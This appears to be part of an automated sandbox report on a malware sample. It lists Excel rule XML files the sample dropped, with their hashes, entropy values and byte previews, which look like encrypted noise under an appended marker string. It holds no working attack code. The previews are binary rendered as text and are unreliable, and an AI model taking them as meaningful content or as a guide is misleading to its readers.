ueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170118v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	949
Entropy (8bit):	7.7639006580632035
Encrypted:	false
SSDEEP:	24:ECcTmjZ3fSQDhybNj8/LLcVdtaQJiOkQfS1y8f3sbD:eAZXwJw/nEdnEOnfSRPmD
MD5:	223BA7FC4197B1A7A4C3DF21D640020B
SHA1:	E14A45AE6E21F706A5F15A557259CDEF39207A07
SHA-256:	E08DB6FB960E12D6D8AA54EB7B2D0A83591BAF5DF58BE8CA031F43114A858392
SHA-512:	CC4893F2FD0FAB45BFAA1DF5E33E5F8A7B07EEC9E47BAA068AED193C2213997D8C637515E771D6D7EE1CB59C0ECA1BDD76D1854129D3C70236FFBA1EDFCED841
Malicious:	false
Preview:	<?xmlX.L.z..X.b..2.H.a._...2.OG....)..9^.}...(..E..,Z.......-E..Bc.....$.......m..]'.......^...d.c..>...^..L...49....Qq%=.6.s. 3.V9x...&.mY..3.nJk."..}......&.&..w .[8..im>.grhx.D..z@..'.5K..T..9....k..Jr..g`......5.]h.%d.j+jB..f....f"GDl?.....?3y.i...\...........`??_.....'.D.a....JJ6E..,..w.}..Rg@.f.o.\|?5.hU-....R.8:.et..-.m..I.".3.......e-..~J0....T?#....c........`.6.D....$.6.3Nv.t.m.H.w....1......\..N.`....B.ZHq.d...;U.03Z.3.y..dc...)..ym......+S...tB.]..7.`..N....B....(..;...7.f.4..%..,y;..c.s.."N.q..}>J[$.J.l...q_.)d..@.........PN.XhO...#.L....#......\.b..L......f....g.<.......v..`..F&....Q..h...L...;...8..u..<!M+c....S..J..E...1..i..\|....q..1s......wE....#Vh.'.~...m...7t...\|FD..*...GZ..~@E....B.C..>.m.i.t.kr.....H.._.)....../..5.X.....lI.n.:.=U.K@.Q.0$."4.....y...}....w.o.......:0.e5H.........Q..?...`....Y.^4.V.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170127v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	867
Entropy (8bit):	7.761968277855139
Encrypted:	false
SSDEEP:	24:MUfGDY2LvNCwCuTG7bpvF+4e6Wan9iroVhPqfLJsbD:JfGvsuCvczan9iroULJmD
MD5:	69C2807347BBF8583B370A473462ACA2
SHA1:	CAD6C8766CFEBF839D152026F2924464FE68E71F
SHA-256:	A1241DAA4B4B5C6DE684476A6772218B62A443CEF2E9247DE72D5337FC328200
SHA-512:	96493E63550CB69A8F8BC6EFF46E0B51BCF7417E6506F4AE2FC347B4BA6956CA7B3FBE71F0C416E2E227102FA9C62B982D7DDF2080B22EF105E710BD6D43F3C3
Malicious:	false
Preview:	<?xml......?....h.6.S..y....P+..=......t.....d.A...g.m`mfZ.%.\|@.S...b....?..n....~\.m..?{.......Id.W.n...8.;A...#..2~....0VG.Usj.@..F..C? ...C.'.."@.~=.I.s.....ko.5t........;ge..A%4....s.....`..)y.._...?.X..#%.6......6".7M.K.7..Qv.j... .#..rh.>...z\../..8...d.{.]....5.0..Q.f...[k....'.C....'...&p.W....L..p....$...`...........[..FNQ............&)z.8`...KZ.N..p...P$AD.. w^}...6.=.1..s...e.B~.`P..'N.%..=If.;...7Q./....&U..5A......V...M..ih. 51HQn.1.._.A.F..X]... [X.?.H....',.!..%R0.>f.\.+n.{.(.!..C..h.+....B...u;:.V.......i....;......m.&U..bKF........`$......r......D..@..x........3*.5.ZA.02.\|.!.WW.\.H../x......\;.W...'....L...K.x..4.mS^.@;.....R....T.....tV?.L.B....d.e.@...1....pw{I5wU.Xr...".......j.<iU..x......B.......1y...Y...J..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170129v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	918
Entropy (8bit):	7.733040548512601
Encrypted:	false
SSDEEP:	24:4tCwKdyPHwXmfDoUSxOS3DSa5MBlDyU0bRkdihQDsbD:mPbDjS1Oa5wyoVDmD
MD5:	9E465629E071F97C30230471EE582EE4
SHA1:	D742FC7551E8E7E39D30A211F3F551C2CDFCEC42
SHA-256:	9F95BE7DC8536CA2592EC1784DDD0E96AD1E3921ED307759BFEB68FFF373CFD5
SHA-512:	A2CE7F30B6076132522560C6723F0FABF8E64E71F1502C8CB97C72F85B0FC9D1A3BED4AF9FE3690FC2CEDAC0D76FACBF4A945B4EDB7C4EE337BFD6AFAD88CDFA
Malicious:	false
Preview:	<?xml$.4.3...q.2....M#.Y.t...M4`hH...(._..Wz..f.%..}B......'..~z..x...Y..'.1..3..[.Z.7...Vu...rJ>.nB.ylq.1.D...Y.Q....g...t..M.".s...0...7..F....Mk...().(...}t.Y.....M...=....H..N.:...P.b.M8....+F.A...#z....y.......\|...g.2....#..<.8C?...6.C.QA..;_m....D.N.Yt...}. ...B..X..7.....i......w...c.M..l....t;H.B..i..RB..."..b!.w...u.H..D.F.w_..V...]..../.....X.\|.P..9./.CZ.g....(......U^l.....h.............Q.rz.}..v7\........r.....p..lm.rN./.......n18.....]EX...E.}<sb....H /V.p}#.....:.{i..B....Yri..lt..Xaw..t<............... ...nT..^u<.....y&....p.!.8.6.._..?../...u......;.E...@:K$..e....rhM!#..k.eU5.......=1....g....r..Nu..{.e/..)4;..GAj.E6.5...gi.,AI.Z......=...Rc.....n..`.d..@J..#..y?.{k.......3.....Gds[.2,...!K:.OCfS....$..tF.........KPKd.._.G..S...1x..g$U....6.2....k..MU.f,c..<...2kf.3..~.z#...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170130v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	898
Entropy (8bit):	7.755234760793473
Encrypted:	false
SSDEEP:	24:FdjPPbI6f1BL8/EMP0qRAJocbFTVHTaYOsbD:FdjPPbIKBL88MsDJocp98mD
MD5:	6D417818A9DFF4538B186096918C812C
SHA1:	2F6D39D8A5D04B16E52BA8A19DA47B9D9D0A5762
SHA-256:	B86D743B508D4E95112A6AB442AB00F878AFC5BA788118CD14ABB906A46BE005
SHA-512:	FAA66138BD415953D5242535C441473137C040BEF16E23FB4140E0A75D493B920A51DF8589DBF6B597A465D3A748C15583BEF1F5DB3C02AF9AD36BAFADFAA9C7
Malicious:	false
Preview:	<?xml.C..[.....X...z..5..8.i.......Lq.=.!..u.....}N.qJ...y@m~.XKm......g.F `..@^........."._.....h?.O!<...5.1)..9[tn...V...9.;.I...z.........mG....o...-.%.`,....A...\|m..........%i..&.1..........`...B..gk......,...9....k[..P].~$......x.q....Q..-.. .i.?.F.[Ks.P3../(.......8.,..n/\|.l...#i..0.!..:.W.+.....Lsbu?..u.]g.U>."[..aZ].6.....U-Z...Z'....<...-........H...>.v..Qo.......p._.._..-r.>.6!.. .....BU.P.....^.....,.&9...l.'.0!..-.61k>....s?i...u+=..311....a.r..E.)N4(r"..E...61f.1.....,..%.4^...Y.?@.Z>..m.....t....u.0.m...c.,...t.../.....\..4.6o...g_..&~....f.},..{....^....v7C.............{..U......f.twl.d.\;?.o...._.(..h....%^.b..~d...../X.1..H.K.N.2...2.u0M"O^....:P.B;..].W:V`.?....d..}.A..!...e..&[....O]...IT.jMl#.9.rg(.<.......4..Y...Y.x...6.(....R..:.!KS..HM......B....p....i8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170133v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.726077145960048
Encrypted:	false
SSDEEP:	12:Mv4uwMnT2ffwLQYAWQUwUVfvBtgey98m1/OE6Op1x/V9poQYK2tbc7su0vaJQscq:MvdwgqffwKWDDpL+O8JxZtuYL3esbD
MD5:	B51DB0B50A91EE2B000357935B0B72F8
SHA1:	835C50C7787103E97FB3D12C22EBFD5F41AE2E64
SHA-256:	8906BAE22F83E57ED06DAE2EB520506B49A1687B9C9585915B49451B7E838519
SHA-512:	12E13E05B30380D31C9D2C9FA71B0803740946DD91B2F0AE2C05D6723BB0F6BDB2245818E3F3BF9E96F2CE81D20923625C51D729E215B0E813F7F95D23812B45
Malicious:	false
Preview:	<?xml.Y4..+.%-Pq_."8....@....=...r........}.7....k....H.p.9.... .Ja.'......:1I.7W0..h d...A2).fJ......tPg}.KS...eS.O....JwFM$.....bM.... .........'..t(Q......@,.p.Y?...:i`-..`n..E..3f}.M..!.jP.N..g....8..B..V.u.Ty...;..A{.Y#..F.R[...~.......?...,..p.......[...a..:...k.d.b'u/Hr.1..0..o.m...k..#.....B...\......~_...$...gZ...^G...zB...D....K..}.wZH.Y..O......;VM..K&MIU...A...2.@..@.......8uG:`.b).nKn...<.l..xx.......R...>.'..Z...N.d.;.T...*i..p.n.Ci.).w.cX....+.@aQ..I.(..T[O..&.nj...}......Z.;x...H...r.<..S`..H..H..:...6..j.ZF.^..-.4......r./a..B.n...E.....6...r@3.S.^.I.r...}.0..&...q....a.\..c.AEz...:..n.?.U.U.L.K.x..=LK..V..P...5)K.....L.n.........$..9..B!.TGPlY...`.4..f.?n8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170134v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.708024060502882
Encrypted:	false
SSDEEP:	12:dFJHadqRmmlC8xgOSvLq1IeNSB8+wUmsaSO8ZsuGkpiUatE0ewry4i7oQscii9a:/W6f/xgOfWdGqs+platE0exrBsbD
MD5:	F0EB7960FEAE79D16D6D6F5B9232B36D
SHA1:	DC23A213316EF263B3885623A628D24EF1CC4D36
SHA-256:	A44E3682C1CC11C8518248B57411C4AAA9793F98CB0A12D30EA19C8C5F6EE44E
SHA-512:	C0913B8C2DDE4404087767812E8589A12BE336C731C818884C65F4AC09A6BBCB4EC75EA4571792536DCC35012F1F4323CA007656D91CADFC55BB71D2E4A7BDF2
Malicious:	false
Preview:	<?xml_..q....O......_.....4..+.W...p..7....q....h...n1.@..r]}.1I.y.B.2.Z....t.grh..F........2...d.....H.[.u.B...m..[......z..h.=.k.C..M+L.FM..&D3M:...s...z{.zo@....-.&.E......Y..)gt...]..I#0..@B.)..v'...?..+Q6Q.....5}...[i....Z.%..............'......8&...C.\|.GU.6.{.i.$.@=_o....iW....!..-.........j..._...-.Q..bo._..z.Q. 9^.I.. ..v...jB.r.t.O>.p..`yRR\.)..K.^..}V...n.Q. .P.....[....WN..`.l...-.+....~.Ji.F....LdQ.. n....K.Q/...0.@8.U...&.'.V3.nh.1..z.N...mQ..qug..<V....-.jvj....O.....Q..c..N.....PKu].8.G.&..g...S..'u.W.....\|...~P.7.N.C>{.b.3.V.t#S.....5...*.....qlT.4...u9'.m..\|6vKG.s...r.q.g@.^q..s..G.'...q..b..<m....e.&....H..........%....z.1..\.iN...z..>.O.Hj.I0....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170135v4.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.764146126410712
Encrypted:	false
SSDEEP:	24:3jGAXyubIL+0fSfFR7wUAQ6LpDQQkjkQFXfefGYNTiuUHsbD:TXXZkSfDsQ6RsjHFXY1gHmD
MD5:	330A55FA494C689C46DF0076268CAD9B
SHA1:	09D0E1E8E9666602D284E91C5FC3BA7980889F60
SHA-256:	FEDBB7E4A36F2318BFEE5E1328DA5E12998455133EFAE49565DB3C7B113AC5ED
SHA-512:	34A2045D5B63D857E6D95CA1D00CE1C6198F9CCD9B585FE806F4603FBD583297BD69BE1D53DF3E902A31255D70115F6F380BDC3FEECFC2B34BE18620E69202C9
Malicious:	false
Preview:	<?xml/D..........@...B.N...Lv.[.{...O....r:..2...._..n.?..XA..b.M+G.C.N.f.U.j....-..+.i2....p...rW7...n.. .K.F....., ..\|.,..M..u[3..c...H2J....<..;.\.G;.g..1=......Z.e.XR..:...5....m...>b].,.J.L....g9v. ..a.w#4>'O.Cj..q.&.L(..F...""m...@...F.g.6...X.G.Np."...{...F....."q<.y#i.z.:...1..:.3......QjQ.hq..Z......Qa..`E... ..w.Ym.~S.....G.%S+.' Q.O(e....F_...W.....I.~%4z..Hu/Q..{.,C{......t..O...A}r.xT!mk0D..c...l..xIY..rr.-l...h.d%.....\...uV..".@..,....D...<}.e...c..\|.uE.....2..0.)&C.X...._d>......,~.F.!...-.u..Y..pr.vm.........L..N`g^.Nuf...g...8_.p..s..s..33O...p...O.....CJ.....v......^Z...8.p...]h.7.D....+..a=...i........j....I..;).n..5.....^.6....6o4A4f.C.o/.d^..x.,[..cS....rq)^..YL.s.f.`.....v}.6}.p..\|.G...Q.(...L..J....q,r..O...?..~.q...<]X...9.)}.....P.;..j...ss...\R..:3.:.W..o>....B\|N.N..=#R..du...h'....e...z....u.......$.Y;....~DH.....J.B}......Oq8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170136v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	996
Entropy (8bit):	7.757740524161228
Encrypted:	false
SSDEEP:	24:H9pUiUe1V9XHav79+pNyko7cK2CTchoMPKshzz/N6KzsbD:d9zD3W0eTOuSKQ1mD
MD5:	DAE30CBC69814D253063E7CEDB6841C9
SHA1:	B1AA5D88FAC98B10A9ECF7185E83F055C2F52EFD
SHA-256:	A9CDEA0142D7F6066BB1E18AFC7269341005AB2226617B7FDFFB2B6A6282E4B4
SHA-512:	1C49FC605889E490CB029952D217C210FEB637AFA00336C41A01BDEDDDA911B65982A0413BA8AB9AAA9D820007D05B43D249723E4EB13AB09883EC4F9180BE29
Malicious:	false
Preview:	<?xml.,S..ml....t...u,.mF..].5.O..3..X5...J...k.S 5f.OZ......(..F.Y.D9.t..$.%....LB..$....E.55<N.wz.O....h.i.q$.p.N.5.U...V.+.t..5...I...U..836X1=.?.p...J....]..aSE~BG...t.R{..m..d......P.w.=.w}.}.o..}..V.n....!.XF.l.\#._............]~....Iz....].Ho......=..W.V....H..7Gl....q.......p..{.....4;x...pN......._.5...C8....!dp.Z'&Y.8$..k.73........h.63...(.5..{.9......J9Z\|..~....:..WD.X.rK.q7....B......Sy#5.B9?9(.3'.l>?.....[dc.7.%'.B..,.....&.......o..b.@.gu....,6.....~o1s....q.)..?xC...6......8...$.R.t......].....~R.@4..dz.dccg4u`...\..eZ{..c....w^..@....-L..78Lv.Y.Yv.5.uX...wXK..Y...vWv...5U.G?.Y:>m.6..0.%.v.....L(...[.n...Kr6 .. O..rD....B.CH..H.e..(..P..8....p...P...j........J..V2v..i...B. ...... @X.S.......OOO.9,......m~.a.......w".B.2.%.T..........Q.3.........Vl#(.h.U....{e....PF..+....F Z0'32../..K.,}t4..u.*#&Ba.!.......8..d....a...3.....?X#.M.+gJ..O^8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170137v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.789742122004525
Encrypted:	false
SSDEEP:	24:GxU5k6Dw/CW6YYc3YoHG4f1EFUUmYHXyhOsbD:1jDwMq3nHGSEJmYHGOmD
MD5:	418E4CFC201BADDE6E93600676F2E4B6
SHA1:	6F62DC0D6434F2AB344E3B5FEDA3B98584B4B1E1
SHA-256:	6C9270B87B9947F0ECD9230C7A6B2BA8CDB80A61626F7AF187A9CA5B95BD1FF8
SHA-512:	5D8A62098633DC958D11A19B86DD48B3D7085B7CA67C7900CD4772B8267AA1C082FD89605A1D840483E73EDAE615FCE348B976814E84BAC1A3308297B5FB8600
Malicious:	false
Preview:	<?xml..<......2A.K+.v..h.P.1erb..%...&.0k......[.1..F.k....H...b3R."9.`G.A\|.....y...:......d.d]...aT...E...Z...9$..c.. ].....o.. W."@E/.."h...f<$."..x.[....N..B".j....}....}.I..E.Y.{..ylP.............8.....F.'e..../..\O.+P.@...N.J.R.r..s.e..8.y.B....Y..j............~.a.Jt@$.....asf..1..7{.T.....?.T..`..wF\.d.#..Q...:.y...l5.U......]Kc6O2..m.:...1%G..r..u...hJ"\|.r....'pX.......0. .........s..w.E.Z......$..Zc...".A.9.?..\..h.......X..u.D..J..iP.m..]3...M....TP............l..R..&...J.)..u.g.nqLL....T..]*..h....!...[A......x/t`.m.. {.J..\.X;.....V.h..MnkC....._...a...<..s.....'....js.PzH.(.....`.Yz_.3.F..............?..#1...E./Y.....>k...D..m..-.!...m^..,...~.5.7..}...VP>.............I....0..+...\....@....C&i...-......P...$?n{..yJ..I.....p..H.54.........Sz7...>..O..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170138v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	799
Entropy (8bit):	7.714320360285796
Encrypted:	false
SSDEEP:	24:B9MvLwpncCtzLqHe1Gn29GpZqIWfyl+osbD:B9yLqfNGiG29GpZzWqzmD
MD5:	DB96E1F616A8EEB2971D0BD880943927
SHA1:	EFF9AEBEBC307E00DE6FB77A849935DE07CB079C
SHA-256:	EBF6332646FCB50EC7054FF04C557D847B682CDF8E923AAF690F279B449594C9
SHA-512:	EAFDB18FFEF7DDE0485EAEC77388BE921EF8F4A182AFDEB90C71D016280642101C9928ACCB4E681EC859FCA7F45D2BD6D5319E37070C74D023A80BD3FA8EC52E
Malicious:	false
Preview:	<?xml....._.zrl)....!..-..\|P......Z.[<)9...$.....p.Oo...r.0g.f....L.cT.El.L...@........f.7./..C.-.[.i./.....=..T.P.. b.p4..{>0......wA...D1..U.~...=.....3.\JDn.............~-Ru{...p..nPLF.I.iw..4.Q....r....?....y...\.[R=%...X.N...@4.......9..#.l.....,k(pr16..q.w...c.W3FD..d....Z.W2..\.15M'3.@Ga.+.._.......\|.n.P.=4..B....L.@1...k_y`..4..3.. .....&...:.`l.!.....x.p..t..O....&}..=...k...(dh.........W.d.)$....A.AtId9Xcs...+t.....@.......z6.Of\..5...>.w...$\<...gEQ.2......}.......Ck.=4...a........../.g.....DR.3....u8..1.Rf....n1.....(..c.X79.d:._DKtI.lD....A.}.w..v9..U..!.F.....C.u>7.\|B....W....p..q...u4..L..p..............] .#Ll.z.&r...>.\&.gxG....aU(a..........k. Y....`....fN....N.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170139v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.748551401171968
Encrypted:	false
SSDEEP:	12:WjDI9oonPQoB0aIuzAnXbu0p+tEt1wuG1rzWm3ujJ02MYpA0KmJmnxQscii9a:mDI3QpNnLaKi1raj62MYi0Km0WsbD
MD5:	E730E1707DC8638745B56334502289E0
SHA1:	87E2420ED8B00BCA0D26FD5BA387FA3335A8FBA0
SHA-256:	50C354163B4806254B9A7DAAA45974BDE3DF40ED578DBEFBF75C41EDCB2FCA14
SHA-512:	724E4107A81D05E05BA6F45C389EEC91DDFF7A002DF5C41160C101C24AF108EF771A23590779DF58C672FC8A2D11677DF36E1234B8E761A9B7729704B40281EB
Malicious:	false
Preview:	<?xml..!Ja.,3...3B..^$.`.?K.-..(.....Y.....FX..}..t.....[Y.o...+V;..%...quH.4...K...a..-.G.w.......5.0.R..s......+` ..W..a....C8......oj......[.;.E.-.P..:..r(.N/...K....\.....C...#.W...7.B..........l\|'9..a.....;.....v9.H!b".....W\.i..y.}....>.F.-~......v..I....b.......Q0~S..j......k.g6.{.+f..8.eu:,.N.....v.....;b.z...f._..)b.J.."7y-.h`..Mv'..'..m!^.B..v....-..t.....:nW.......oUVA..#0..sY....s..M.}....#..K.0.z.b.....?.....q.A....?6.o.Pu*B}..!]...._...F1.[...k..6...a._v...x.,G.....<u..9.46._.\|.4.......F.....7...L....!@4..`f.....M..v!k.@!...E..<$R..5.#.......?Y.$/.RC.Y..`....E0A.@.....L..n.....'.Q...%. ...#.f...I.D......&m:r..Ea.E].I"...).}./...y.S...\|....~..>..OdK..PPA.2.).:.'8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170140v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.729034752442367
Encrypted:	false
SSDEEP:	12:Ye9FUTVzOnaclFryC6NEhYKgF1CysKxS+KngUhvrFtXG5fuZiPbE1Rt719NQsciD:Yea1OnXlNy5cYjoKx1qvrFdG/yIsbD
MD5:	9701B5AB21065B23370BA6FD9B05764F
SHA1:	FDD7D41F293CFA1E0CBD91D0918587B6B7B05AF0
SHA-256:	2098B500CA9F6B9F1663469B2EB8C542F881EE6A78CD20688EE1D3662891A372
SHA-512:	359164FC4373D3945BBF90D3C008B0C7D738F29E53A93D2D868982A4CB43CAC05551F7E3E8AA9302EC73D8F8C7DB56C5B640699B0619B8B9466FAFADFBF1FB65
Malicious:	false
Preview:	<?xmlC.5..:.8...'.@....^1.zJ...A=.1{..+.M.2...#.......K....m..:2..9...(1.Z/%k.l.C. ..r..a)...}!.$.=.%.L...<..a....\|.f@PC;!...Q..q.....{....."..mz6h.....=..9i........'.m./..ah..l ...~{.p.%O.. !.B.].T.YS.@...:.Z%Z.\|?<...p.Q...yy.V_f.....6.h~....q:$....J.?.D.a........(.>O.O...v...7m[.f......G..$..T..?......~<...4....k$m......\J.....b....X.......T.?..D....?.\|V...t.X..y#..z..&wx....2..9..3...D...@Xln..6.V..j.A\V.o....8.F:.2..d=a..4j?p0..?i.......zc.%gZ...K@.G=.I.Gf...Z*.A......[.ZB8i..W.(..#.1...LEm...z.]..-..J8...3....+...]J........K#..Y.96C.....i.tH.4d....o..qSx......y.W..........7r..n...Z....e% ..."...E.9.....+Ye. ......!S..N./.HX..2....m9C..(...Q.U......(&..PTn...}.[.\|r..+.[8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170141v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.807735242821682
Encrypted:	false
SSDEEP:	24:w1VY4iXja8oUDbC4fWXfQnjzY4AmFiWJRzwyPSEauo5sbD:kvGa8dxU4nj8AFiWD0gouo5mD
MD5:	F132D1A9F299FDFAAB2948CB6C0E7C0F
SHA1:	DE6DA71A450D0965988F327E3B49ECB3938EA6F7
SHA-256:	AF9FF2D41FB0C5E10E2CCFAED689CA8ABFA06B2543FB40E13B1971E77B2B3318
SHA-512:	32A9FFB4499A4C89134EAA96D402B351E31E133D4E7B701E150518E30E3B3BEE1833CEE7DB2BBC069929A7878E6269CDE20397AD29B529E07A2BF32E9C38EA58
Malicious:	false
Preview:	<?xml.#.....0..4....g.-d.I....%....L...h..2.`...../:i..}.W.;.y..d.x..g..7.H.".U..C....g..+...i.m.x..1o.iegx..5...X.rE...Ge..K2.(.^......A....^5...../`..35..J@\|3("9.@..<...E.....@.'.2....~........\..x..1..\.e.....LB...70.5.Q.\..Mh..G.F....sf..8.9FX.`5..W .u.@.....Z..!H....1..../._....d..T.I"4..p.M.H.t..D..j..i......._....7.5`.)6WM......~...Yq..0.Q.~P8.U.Y.pL.X/Z....E.~=3........mf.A.....F.......<...x..j..!..S..F..o..>6..G..'..GQb....9...f%.....B...t..W..B...P\F4.]..<.W.....q&.......cjg......b....#.'...v#.Y.........K.z.L.+...#..T..W.2.y....(Y....w..FP..W.-r. ..r....K4.A"...RG{..k....va5.$u.....vQ.Y.$...j$....F....d...B......Gl9.....Y..8 .K.+"3c.7.]5...3..[.6+.+w..cH.'.7.j.q...8.Q.P.L..x&.Ps..^rBi..O.-(......V..n..........v........x.T.].....Y.....q%.&...,.q..pO.-VW.3...?.....@f....S....2...>.q..#T......l3..r..7?..l.....pZ..y6(....w.......oG._C'H...1.P.9/..)...V..u.f%....'t...M.n....b(..[l8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170142v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.771959046436993
Encrypted:	false
SSDEEP:	24:RYx/aC2Jg9j9agdM0EJlcePAWbuSxBMEwXh7sbD:RmS+jUyapAT26pxmD
MD5:	B832FD386F0500FA10AAC71D2A7B831D
SHA1:	3F972633790A6B60CF4CD1CEC3154C029CC97283
SHA-256:	81BF7D4761DE02DBD5E73EE0D979FDAA5DDA0456C87FE1E6FDDA8AA695D0FF8F
SHA-512:	A23E40506C86DD16031D414F2F97D7AB883674F8803C092D4652B3F86C35C8AA19BCB7226C3E41E31A6288A90BFD3F02A27ACEA2EF410DA1C32DE82DECD5FA5E
Malicious:	false
Preview:	<?xmls;..c...../zQt....@.....E..Y...i..+.3.u`L.....`..-...@.<2.O.3._...I.y..".9ss......A..9A.~@].p.1s=p..y5i../.v..'&8j.?gy..e...N..)...CA..-...N.}<XZ]H.]..0..5....~X..;6.ke.j.M...7.?.".D.T....2x<V./.hO-....1...e..._.Q$.........m..#....T]L..p...,D.n....[.....\|.H...:.j7.......1zk.pf]>.....:q.S....i$T8....&...m}..gp..C....;.-X.X..X..3o.R.....<.qp.r...c... ...]............U....\|T.=.....l....9..yuG4.a=....<3.Z./..U.....8...h".....U...a'..2..#A...(b..\g.....q.r..Ua3..........Xh.i.....q:..V.R.....W..of.Y).^\4:.V...s..nU..E.W...M6.'..+...[...P..XA.....6...z[.NM.......`.........Z;.N#.M.......@.!. ..1...tV....i.u.1...\|OiT....\.6OB.GC.sV........}.:.#.....q........)t...7.F+{f.... ...'...*I.fU.....D$.a.....'...\|?....B...f.....yS....j...=.7..#G...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180003v5.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2217
Entropy (8bit):	7.927850101115713
Encrypted:	false
SSDEEP:	48:rhlMfnTjmyV5mgjNLIt4ra70ZBUzk76KrIfJbDfkIB+v9DfmD:rEPmyaoNLiiZBUg+Nf1zkIE9L+
MD5:	E461DB920B897B6683329D42468D1997
SHA1:	5BCE1FB9FC12983A67CE223A7FE8B8AD4F492E12
SHA-256:	8D09922AD1748AA1C100CAF278182850FB1117028C3B56E270858AC7E17E7ABE
SHA-512:	824B4A4FA85A7A4CE6DCC20B8CA003576BE18B6C88C9F4420251BC6882BD9D1588BF2A67B162E2AC30197CC095F9745E080201FBC1FF76377988CFAC6F994A89
Malicious:	false
